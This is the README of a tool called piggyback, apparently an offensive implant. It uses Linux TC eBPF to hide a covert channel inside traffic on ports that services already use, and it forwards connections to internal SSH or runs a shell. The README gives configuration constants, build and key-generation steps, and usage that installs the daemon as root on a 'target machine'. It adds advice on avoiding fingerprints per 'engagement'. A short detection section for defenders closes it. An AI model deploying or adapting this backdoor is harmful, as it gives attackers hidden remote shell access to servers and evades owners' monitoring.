piggyback/README.md
2026-04-04 18:03:43 +02:00

166 lines
5.5 KiB
Markdown

# piggyback
Covert channel using Linux TC eBPF. Intercepts TCP packets on a port already in use,
steals matching ones before the application sees them, and forwards or executes them.
Normal traffic is unaffected. Zero changes to existing services.
```
Mode 1 — Plain TCP
Client Server (:80)
│── TCP packet ────────────→ TC eBPF ingress
│ [MAGIC][header][payload] magic match?
│ YES → TC_ACT_STOLEN → daemon
│ NO → TC_ACT_OK → app (nginx etc.)
Mode 2 — Client wraps in legitimate TLS (middleware terminates SSL)
Client Middleware (:443) Server (:80)
│── valid TLS ──→ │ │
│ [MAGIC] │── [MAGIC][...] ────────→ TC eBPF ingress
│ inside │ (inner bytes fwd) magic match? → same as Mode 1
```
Mode 2 is identical server-side. Client establishes real TLS with a configurable
SNI so middleware routing works. Server never handles TLS — simpler, smaller surface.
---
## Requirements
- Linux 5.8+ (ring buffer + sk_lookup)
- Root / `CAP_NET_ADMIN` + `CAP_BPF`
- `libbpf`, `clang`, `llvm`, `bpftool`, `libsodium`, `libssl`
```bash
# Fedora
sudo dnf install libbpf-devel clang llvm kernel-headers bpftool libsodium-devel openssl-devel
# Debian/Ubuntu
sudo apt install libbpf-dev clang llvm linux-headers-$(uname -r) bpftool libsodium-dev libssl-dev
```
---
## Configuration
All config is compile-time. Edit the constants at the top of each file, then `make`.
### `piggyback.bpf.c` — eBPF kernel program
```c
#define PORTS { 80, 8080 } // TCP ports to watch (must match daemon LISTEN_PORT)
#define PORTS_N 2
#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE" // magic byte sequence (keep in sync)
```
### `piggyback.c` — server daemon
```c
#define IFACE "" // "" = auto-detect default-route interface
#define LISTEN_PORT 80 // must match eBPF PORTS array
#define FWD_HOST "127.0.0.1" // default forward target (no-auth mode)
#define FWD_PORT 22 // default forward target port
#define SERVER_IP "1.2.3.4" // own public IPv4 (used in sig replay check)
#define VERBOSE 0
#define AUTH_ENABLED 0 // 1 = require Ed25519 signature on every connection
#define TRUSTED_PUBKEY { 0xAB, 0xCD, ... } // 32-byte pubkey from `make keygen`
```
### `pb-client.c` — client
```c
#define SERVER_IP "1.2.3.4"
#define SERVER_PORT 80
#define LOCAL_PORT 2222 // ssh -p 2222 localhost
#define CLIENT_MODE MODE_TCP // MODE_TCP or MODE_TLS
#define SNI "" // required for MODE_TLS — change per engagement
#define KEY_PATH "" // Ed25519 private key PEM, or "" to disable auth
#define CLIENT_ACTION ACTION_FORWARD // ACTION_FORWARD or ACTION_SHELL
#define TARGET_IP "127.0.0.1" // forward target (ACTION_FORWARD)
#define TARGET_PORT 22
#define SHELL_CMD "bash" // (ACTION_SHELL)
```
> **SNI note**: using the same SNI across deployments is a fingerprint. Change per engagement.
---
## Build
```bash
make
```
### Generate Ed25519 keypair (for auth)
```bash
make keygen
# Prints public key hex → paste into TRUSTED_PUBKEY in piggyback.c
# Saves engagement.key → set as KEY_PATH in pb-client.c (never copy to target)
```
---
## Usage
```bash
# Server (target machine)
sudo ./piggyback
# Client (operator machine)
./pb-client
# Then connect locally
ssh -p 2222 user@localhost
```
No CLI flags — all config is baked into the binary at compile time.
---
## Auth flow (AUTH_ENABLED=1)
1. `make keygen` — generate Ed25519 keypair
2. Set `TRUSTED_PUBKEY` in `piggyback.c`, `AUTH_ENABLED=1`, recompile daemon
3. Set `KEY_PATH` in `pb-client.c`, recompile client
4. Client sends: `MAGIC` (6 bytes) + signed 80-byte header + optional shell cmd
5. Daemon verifies Ed25519 sig, checks timestamp (±60s window), checks replay ring
6. On pass: dispatches action from header (`ACTION_FORWARD` or `ACTION_SHELL`)
7. On fail: connection dropped silently
Signed header format (80 bytes):
```
[0..7] unix timestamp, big-endian uint64
[8] action (0x01 = forward, 0x02 = shell)
[9..12] target IPv4 (forward) or zeros
[13..14] target port big-endian or zeros
[15] reserved
[16..79] Ed25519 sig over bytes [0..15] + SERVER_IP (4 bytes)
```
Signature covers `SERVER_IP` — a captured packet cannot be replayed to a different host.
---
## Detection (Blue Team)
```bash
tc filter show dev eth0 ingress # TC eBPF filters on interface
bpftool prog list # all loaded eBPF programs
bpftool map list # eBPF maps (look for conn_state, pending, daemon_sock)
```
Baseline `bpftool prog list` on clean systems. Alert on new TC ingress programs
on internet-facing interfaces.
---
## Known Limitations
- **ACTION_FORWARD target is IPv4 only** — the signed header has 4 bytes for target IP;
IPv6 forward targets require header format extension
- **Replay ring is size-bounded** — 256 entries evicted by overwrite, not by time expiry;
with REPLAY_WINDOW_SEC=30 this is sufficient for normal use
- **sk_lookup may fail on some kernels** — daemon logs a warning and falls back to
connect-back mode (works except behind strict NAT)
- **Magic must fit in first ~6 TCP payload bytes** — split across segments handled
by per-connection eBPF state machine, but only within a 6-byte sliding window
per packet; edge cases with very small MSS possible